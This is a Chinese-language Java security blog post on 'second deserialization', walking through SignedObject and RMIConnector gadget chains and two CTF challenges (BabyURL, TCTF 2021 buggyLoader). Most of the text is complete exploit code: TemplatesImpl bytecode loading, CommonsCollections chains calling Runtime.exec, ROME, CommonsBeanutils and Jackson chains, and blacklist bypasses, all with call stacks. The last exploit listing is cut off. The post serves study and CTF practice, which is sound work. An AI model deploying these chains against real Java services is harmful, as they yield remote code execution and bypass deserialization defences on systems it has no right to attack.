Java安全 - 浅谈二次反序列化
前言
本篇文章首发在先知社区(为先知打Call) 作者Zjacky(本人) 先知社区名称: Zjacky
原文链接为https://xz.aliyun.com/t/13900
在打反序列化的时候会经常存在JNDI不出网的情况下,无论是ROME链的恶意类加载还是Hessian的拼接起来的链子,都会遇到不出网的情况,那么不出网的情况下,应该怎么打呢?
SignedObject二次反序列化
简介
它是java.security
下一个用于创建真实运行时对象的类,更具体地说,SignedObject
包含另一个Serializable
对象。
利用链分析
利用链
1
| SignedObject#getObject() -> x.readObject()
|
发现getObject()方法中还进行了一次readObject()反序列化
反序列化的内容也是可控,去看下他的构造方法,将传入的对象进行序列化给b 并将字节数组存储到content中
一个小型demo来传入恶意对象
1 2 3 4
| KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(恶意对象 用于第二次反序列化, kp.getPrivate(), Signature.getInstance("DSA"));
|
那么现在我先手动调用他的getObject()方法并且传入一个可以进行反序列化的对象(随便拉了个CC3就行)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63
| package SignedObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InstantiateTransformer; import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates; import java.io.IOException; import java.io.Serializable; import java.lang.reflect.*; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.HashMap; import java.util.Map;
public class main { public static void main(String[] args) throws NoSuchAlgorithmException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException, SignatureException, InvalidKeyException, NoSuchFieldException {
TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test");
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), instantiateTransformer };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor cls = c.getDeclaredConstructor(Class.class,Map.class); cls.setAccessible(true); InvocationHandler h = (InvocationHandler) cls.newInstance(Override.class,lazyMap); Map maproxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},h); Object o = cls.newInstance(Override.class,maproxy);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject((Serializable) o, kp.getPrivate(), Signature.getInstance("DSA")); signedObject.getObject(); } }
|
那么既然做到了手动触发,那现在的任务就是进行getter方法的调用,那其实思路也很清晰,找能够调用getter方法的链,刚好也总结一下常见调用getter的方法有哪些吧
getter触发链分析
Rome(HashCode)
利用链
1
| hashmap#readObject() -> ObjectBean#hashcode() -> EqualsBean#javabeanHashCode() -> ToStringBean#toString()->SignedObject#getObject()
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| package SignedObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import com.sun.syndication.feed.impl.ObjectBean;
import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.HashMap;
public class Sign_RomeToStringBean { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); }
public static void main(String[] args) throws Exception{ byte[] payloads = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class"));
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{payloads}); setFieldValue(obj, "_name", "a"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
HashMap hashMap1 = getpayload(Templates.class, obj);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(hashMap1, kp.getPrivate(), Signature.getInstance("DSA"));
HashMap hashMap2 = getpayload(SignedObject.class, signedObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(hashMap2); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
public static HashMap getpayload(Class clazz, Object obj) throws Exception { ObjectBean objectBean = new ObjectBean(ObjectBean.class, new ObjectBean(String.class, "rand")); HashMap hashMap = new HashMap(); hashMap.put(objectBean, "rand"); ObjectBean expObjectBean = new ObjectBean(clazz, obj); setFieldValue(objectBean, "_equalsBean", new EqualsBean(ObjectBean.class, expObjectBean)); return hashMap; } }
|
调用栈为
1 2 3 4 5 6 7 8 9 10 11 12
| getObject:180, SignedObject (java.security) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) toString:137, ToStringBean (com.sun.syndication.feed.impl) toString:116, ToStringBean (com.sun.syndication.feed.impl) toString:120, ObjectBean (com.sun.syndication.feed.impl) beanHashCode:193, EqualsBean (com.sun.syndication.feed.impl) hashCode:110, ObjectBean (com.sun.syndication.feed.impl) hash:339, HashMap (java.util) readObject:1413, HashMap (java.util)
|
Rome(Equals)
利用链
1
| Hashtable#readObject() -> EqualsBean#equals() -> EqualsBean.beanEquals() -> SignedObject#getObject()
|
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| package SignedObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.syndication.feed.impl.EqualsBean; import javax.xml.transform.Templates; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.HashMap; import java.util.Hashtable;
public class Sign_RomeEqualsBean { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); }
public static void main(String[] args) throws Exception{ byte[] payloads = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class"));
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{payloads}); setFieldValue(obj, "_name", "a"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
Hashtable table1 = getPayload(Templates.class, obj);
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(table1, kp.getPrivate(), Signature.getInstance("DSA"));
Hashtable table2 = getPayload(SignedObject.class, signedObject);
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(table2); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
public static Hashtable getPayload (Class clazz, Object payloadObj) throws Exception{ EqualsBean bean = new EqualsBean(String.class, "r"); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", bean); map1.put("zZ", payloadObj); map2.put("zZ", bean); map2.put("yy", payloadObj); Hashtable table = new Hashtable(); table.put(map1, "1"); table.put(map2, "2"); setFieldValue(bean, "_beanClass", clazz); setFieldValue(bean, "_obj", payloadObj); return table; } }
|
调用栈
1 2 3 4 5 6 7 8 9 10
| getObject:177, SignedObject (java.security) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) beanEquals:146, EqualsBean (com.sun.syndication.feed.impl) equals:103, EqualsBean (com.sun.syndication.feed.impl) equals:495, AbstractMap (java.util) reconstitutionPut:1241, Hashtable (java.util) readObject:1215, Hashtable (java.util)
|
CommonsBeanutils
这里也快速分析下CB链调用getter的流程吧
以下形式来直接动态获取值
1
| System.out.println(PropertyUtils.getProperty(student, "name"));
|
这里断点进去看看是如何实现传入name
就调用getName
方法的
进去后发现会去调用getNestedProperty
跟进后发现他是去判断我们传入的类是什么类型的,如果都不属于下图中类就调用getSimpleProperty
方法
然后也是进去一系列判断如果都不属于这些类就调用getPropertyDescriptor
方法
而这个就是重点方法了,这里其实不需要去看他怎么实现的,他会返回PropertyDescriptor类
我们直接看他返回的对象descriptor
即可
可以发现他返回了几个属性,恰好就是setter getter方法名字
再接着往下就是获取方法的名字,然后去调用641行的反射
所以到这里我们又可以想象Fastjson
一样,假设谁的 PropertyUtils.getProperty
传参是可控的,那么找到一个函数的 getter 是有危险行为的,那么通过CB链就可以去触发导致代码执行(而在Fastjson中也是有这种情况发生,所以后半段恶意类加载就可以利用TemplatesImpl
链来完成)
我们可以来写一个demo
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field bytecodesField = tc.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("E:\\Java_project\\Serialization_Learing\\target\\classes\\Test.class")); byte[][] codes = {code}; bytecodesField.set(templates, codes); Field nameField = tc.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "test"); Field facField = tc.getDeclaredField("_tfactory"); facField.setAccessible(true); facField.set(templates, new TransformerFactoryImpl()); templates.newTransformer(); System.out.println(PropertyUtils.getProperty(templates, "outputProperties"));
|
那么现在已经后半条链已经衔接好了,现在就是去找jdk跟CB依赖中进行衔接的反序列化点
也就是去找谁去调用了getProperty
方法
于是找到了 commons-beanutils-1.8.3.jar!\org\apache\commons\beanutils\BeanComparator#compare()
方法
这写法跟CC4的太像了真的,所以找到compare()
就可以联想到CC4的入口直接拼起来就可以串起来了
其实在这里我一直有个疑问,就是这个compare()
到底是否可控,因为他传两个参数我并不知道是在哪里可以控制的,调试了下也明白了,如下图
可以发现在721行是将x
传入,那么x
怎么进来的呢?
在上一个方法中就把x
传进来了
在heapify
中就传了对象,再往上跟就是readObject
了,而在heapify
中进行了数组的右移所以可以寻找到该属性通过 priorityQueue.add(templates);
传入的类,如果我们传入 3
就会不一样了
就会变成数字类3
这也就是为什么我们队列这里要写入TemplatesImpl
类,这样子才能去调用到TemplatesImpl
类的getter方法
调用链
1
| PriorityQueue#ReadObject() -> PriorityQueue#siftDownUsingComparator() -> BeanComparator#compare() ->PropertyUtilsBean#getSimpleProperty() -> TemplatesImpl#getOutputProperties()
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| package SignedObject;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.security.KeyPair; import java.security.KeyPairGenerator; import java.security.Signature; import java.security.SignedObject; import java.util.PriorityQueue;
public class CB_SignedObject { public static void setFieldValue(Object obj,String fieldname,Object value)throws Exception{ Field field = obj.getClass().getDeclaredField(fieldname); field.setAccessible(true); field.set(obj,value); }
public static void main(String[] args) throws Exception { byte[] payloads = Files.readAllBytes(Paths.get("D:\\Security-Testing\\Java-Sec\\Java-Sec-Payload\\target\\classes\\Evail_Class\\Calc_Ab.class"));
TemplatesImpl obj = new TemplatesImpl(); setFieldValue(obj, "_bytecodes", new byte[][]{payloads}); setFieldValue(obj, "_name", "a"); setFieldValue(obj, "_tfactory", new TransformerFactoryImpl()); PriorityQueue queue1 = getpayload(obj, "outputProperties");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(queue1, kp.getPrivate(), Signature.getInstance("DSA"));
PriorityQueue queue2 = getpayload(signedObject, "object");
ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(queue2); oos.close();
ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray()); ObjectInputStream ois = new ObjectInputStream(bais); ois.readObject(); ois.close(); }
public static PriorityQueue<Object> getpayload(Object object, String string) throws Exception { BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator); priorityQueue.add("1"); priorityQueue.add("2"); setFieldValue(beanComparator, "property", string); setFieldValue(priorityQueue, "queue", new Object[]{object, null}); return priorityQueue; } }
|
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| getObject:179, SignedObject (java.security) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeMethod:2116, PropertyUtilsBean (org.apache.commons.beanutils) getSimpleProperty:1267, PropertyUtilsBean (org.apache.commons.beanutils) getNestedProperty:808, PropertyUtilsBean (org.apache.commons.beanutils) getProperty:884, PropertyUtilsBean (org.apache.commons.beanutils) getProperty:464, PropertyUtils (org.apache.commons.beanutils) compare:163, BeanComparator (org.apache.commons.beanutils) siftDownUsingComparator:722, PriorityQueue (java.util) siftDown:688, PriorityQueue (java.util) heapify:737, PriorityQueue (java.util) readObject:797, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1170, ObjectStreamClass (java.io) readSerialData:2178, ObjectInputStream (java.io) readOrdinaryObject:2069, ObjectInputStream (java.io) readObject0:1573, ObjectInputStream (java.io) readObject:431, ObjectInputStream (java.io)
|
Jackson链
这里也是重复的事情了,如果有疑问的话可以继续参考我博客
其实就是通过POJONode#tostring()
来进行getter的调用,那么怎么触发tostring方法呢在反序列化中,也就是两种形式
-
Rome
上述的ToStringBean#tostring()
-
BadAttributeValueExpException#readObject()
例题分析 - 2023 巅峰极客 BabyURL
考点分析
- Java代码审计
- Java SignedObject 二次反序列化
- Jackson 链反序列化漏洞
给了jar包,先看目录结构
有两个控制器
第一个是hack
传base64的payload进来反序列化成URLHelper
类,但这里是他自己写的反序列化,跟进下MyObjectInputStream
发现写了黑名单
java.net.InetAddress","org.apache.commons.collections.Transformer","org.apache.commons.collections.functors", "com.yancao.ctf.bean.URLVisiter", "com.yancao.ctf.bean.URLHelper
第二个是file
/file路由会读取/tmp/file的内容并返回
再来看看黑名单的两个类
URLHelper
在ReadObject方法中可以对/tmp/file/
操作,并且会用visitUrl
处理传入的值
URLVisiter
传入的内容不能以file
开头,对传入的内容进行new URL()
处理
那么限制我们来罗列一下
- 可以打URL的一个读取文件,但是有一个黑名单拦截,但是大写即可绕过
- 反序列化存在黑名单,但是可以打SignedObject的二次反序列化来触发
URLHelper
类
- 如何拼接SignedObject链呢?查看依赖发现存在Jackson链 ,想到
BadAttributeValueExpException
配合 POJONode
链
那么问题就解决了,编写下EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| package com.yancao.ctf;
import com.yancao.ctf.bean.URLHelper; import com.yancao.ctf.bean.URLVisiter; import com.fasterxml.jackson.databind.node.POJONode;
import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.security.*; import javassist.*;
import javax.management.BadAttributeValueExpException;
public class exp { public static void main(String[] args) throws Exception { URLHelper urlHelper = new URLHelper("File:///flag"); urlHelper.visiter = new URLVisiter();
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA"); kpg.initialize(1024); KeyPair kp = kpg.generateKeyPair(); SignedObject signedObject = new SignedObject(urlHelper, kp.getPrivate(), Signature.getInstance("DSA"));
ClassPool pool = ClassPool.getDefault(); CtClass ctClass0 = pool.get("com.fasterxml.jackson.databind.node.BaseJsonNode"); CtMethod writeReplace = ctClass0.getDeclaredMethod("writeReplace"); ctClass0.removeMethod(writeReplace); ctClass0.toClass();
POJONode node = new POJONode(signedObject); BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
ser(val);
} public static void ser(Object obj) throws IOException { ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("ser.bin")); objectOutputStream.writeObject(obj); objectOutputStream.close(); } public static void setFieldValue(Object obj, String field, Object val) throws Exception{ Field dField = obj.getClass().getDeclaredField(field); dField.setAccessible(true); dField.set(obj, val); }
}
|
再次访问下file即可得到flag
RMIConnector
利用链
1
| nvokerTransform#transform() -> RMIConnector#connect() ->> RMIConnector#findRMIServerJRMP()
|
利用链分析
RMIConnector#findRMIServerJRMP()
在该方法中,将base64字符串解码后以序列化流的形式进行反序列化操作,如果能控制base64参数即可造成二次反序列化
网上寻找,找到同文件的findRMIServer
方法有调用,且判断path的开头必须为/stub/并截取的path后的值,所以path为我们base64序列化字符串的传入点。而path通过getURLPath获取,也就是下面urlPath属性的值,所以这里我们的思路就是通过反射修改urlPath属性的值,为/stub/base64_ser_str的形式
再往上跟找到connect()
方法
RMIConnector#connect()
发现是一个public的connect方法调用了
那么现在就2个思路
- 谁的方法调用了
connect
方法并且传入的值可控,然后一直往上跟readobject或者tostring或者getter方法
- 谁的反射可控,直接进行反射调用
那么现在先写一个本地的直接反射调用的demo来触发二次反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78
| package RMIconnector;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantFactory; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC6_t {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aa");
Class c = LazyMap.class; Field factoryfield = c.getDeclaredField("factory"); factoryfield.setAccessible(true); factoryfield.set(lazyMap,chainedTransformer); String s = serialize2Base64(map2); run(s);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static String serialize2Base64(Object object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return s; }
public static void run(String base64) throws Exception{ JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); setFieldValue(jmxServiceURL, "urlPath", "/stub/"+base64); RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null); rmiConnector.connect();
}
}
|
那么接下来的问题就是如何把这个connect()
方法给利用起来,第一种方法比较难跟,但是第二种方法我们就可以联想到最简单的CC链的InvokerTransformer
来进行任意类任意方法调用,这样子就可以套一层反射来调用connect()
了
于是就可以写出EXP,通过CC6来进行调用二次反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103
| package RMIconnector;
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantFactory; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.*; import java.lang.reflect.Field; import java.util.Base64; import java.util.HashMap; import java.util.Map;
public class CC6_t {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}), new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}), new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open -a Calculator"})} ;
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantFactory(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "aa");
HashMap<Object, Object> map2 = new HashMap<>(); map2.put(tiedMapEntry, "bbb"); lazyMap.remove("aa");
Class c = LazyMap.class; Field factoryfield = c.getDeclaredField("factory"); factoryfield.setAccessible(true); factoryfield.set(lazyMap,chainedTransformer);
String s = serialize2Base64(map2); run(s);
}
public static void unserialize(byte[] ser) throws Exception { ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(ser)); objectInputStream.readObject(); System.out.println("Unserialize Ok!"); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{ Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } public static String serialize2Base64(Object object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); return s; } public static byte[] serialize(Object object) throws Exception { ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream); objectOutputStream.writeObject(object); System.out.println("Serialize Ok!"); String s = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray()); System.out.println(s); System.out.println(s.length()); return byteArrayOutputStream.toByteArray(); } public static void run(String base64) throws Exception{ JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://"); setFieldValue(jmxServiceURL, "urlPath", "/stub/"+base64); RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null); InvokerTransformer connect = new InvokerTransformer("connect", null, null); HashMap<Object, Object> hashMap = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap, new ConstantTransformer(1)); TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,rmiConnector); HashMap<Object, Object> hashMap1 = new HashMap<>(); hashMap1.put(tiedMapEntry, "2"); lazyMap.remove(rmiConnector); setFieldValue(lazyMap,"factory",connect); byte[] serialize = serialize(hashMap1); unserialize(serialize); }
}
|
调用栈
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| findRMIServerJRMP:1993, RMIConnector (javax.management.remote.rmi) findRMIServer:1924, RMIConnector (javax.management.remote.rmi) connect:287, RMIConnector (javax.management.remote.rmi) connect:249, RMIConnector (javax.management.remote.rmi) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) transform:125, InvokerTransformer (org.apache.commons.collections.functors) get:151, LazyMap (org.apache.commons.collections.map) getValue:73, TiedMapEntry (org.apache.commons.collections.keyvalue) hashCode:120, TiedMapEntry (org.apache.commons.collections.keyvalue) hash:339, HashMap (java.util) readObject:1413, HashMap (java.util)
|
例题分析
[TCTF 2021]buggyLoader
https://github.com/waderwu/javaDeserializeLabs
考点分析
- Java代码审计
- Java RMIConnector 二次反序列化
对传进来的data参数进行了hex的处理,处理过后用自定义的MyObjectInputStream
来处理字节,然后满足属性直接反序列化
先来看看hexStringToBytes
就是个hex解码而已
然后看自定义的MyObjectInputStream
可以看到重写了resolveClass方法,使用了URLClassLoader.loadClass()
而非默认的Class.forName()
去加载类
关于ResolveClass
在Java中,当使用ObjectInputStream
进行反序列化时,resolveClass()
方法会默认被调用,其作用就是对类进行验证和加载,具体来说,当反序列化一个对象时,如果该对象包含的类尚未被加载,那么ObjectInputStream
就会调用resolveClass()
方法来加载该类。resolveClass()方法的默认实现会使用当前线程的上下文ClassLoader
来加载类,即Class.forName()
另外,resolveClass()
方法还可以用于防止恶意攻击,比如通过序列化和反序列化来注入恶意代码或者执行非法操作。通过在resolveClass()
方法中实现自定义的安全检查逻辑,做一些过滤处理,例如过滤一些危险类JNDI、RMI、TemplatesImpl等,可以有效地增强反序列化的安全性。
依赖
查看下依赖,可以发现存在CC的依赖,那么直接打CC就好了
坑点
但是URLClassLoader.loadClass()
跟默认的Class.forName()
有啥区别呢?
区别在于URLClassLoader.loadClass()
不能够加载数组,举个例子:
1 2 3 4 5 6
| public class test { public static void main(String[] args) throws Exception{ System.out.println(Class.forName("[[B")); System.out.println(URLClassLoader.getSystemClassLoader().loadClass("[[B")); } }
|
那么既然是因为这个,所以我们的数组的payload就无法使用了,因为在打CC的过程当中基本都会带上ChainedTransformer
来链式调用,或者在最后的Sink的点的时候会用到TemplatesImpl
来加载byte[][]
字节码,但是这里就都没办法使用了,当然了不使用ChainedTransformer
链式调用一个一个手动来触发也是可以的,但是因为存在RMIConnector
进行二次反序列化会更加方便,因为我们可以只需要单InvokerTransformer
来进行反射调用connect()
方法即可,那么写出EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101
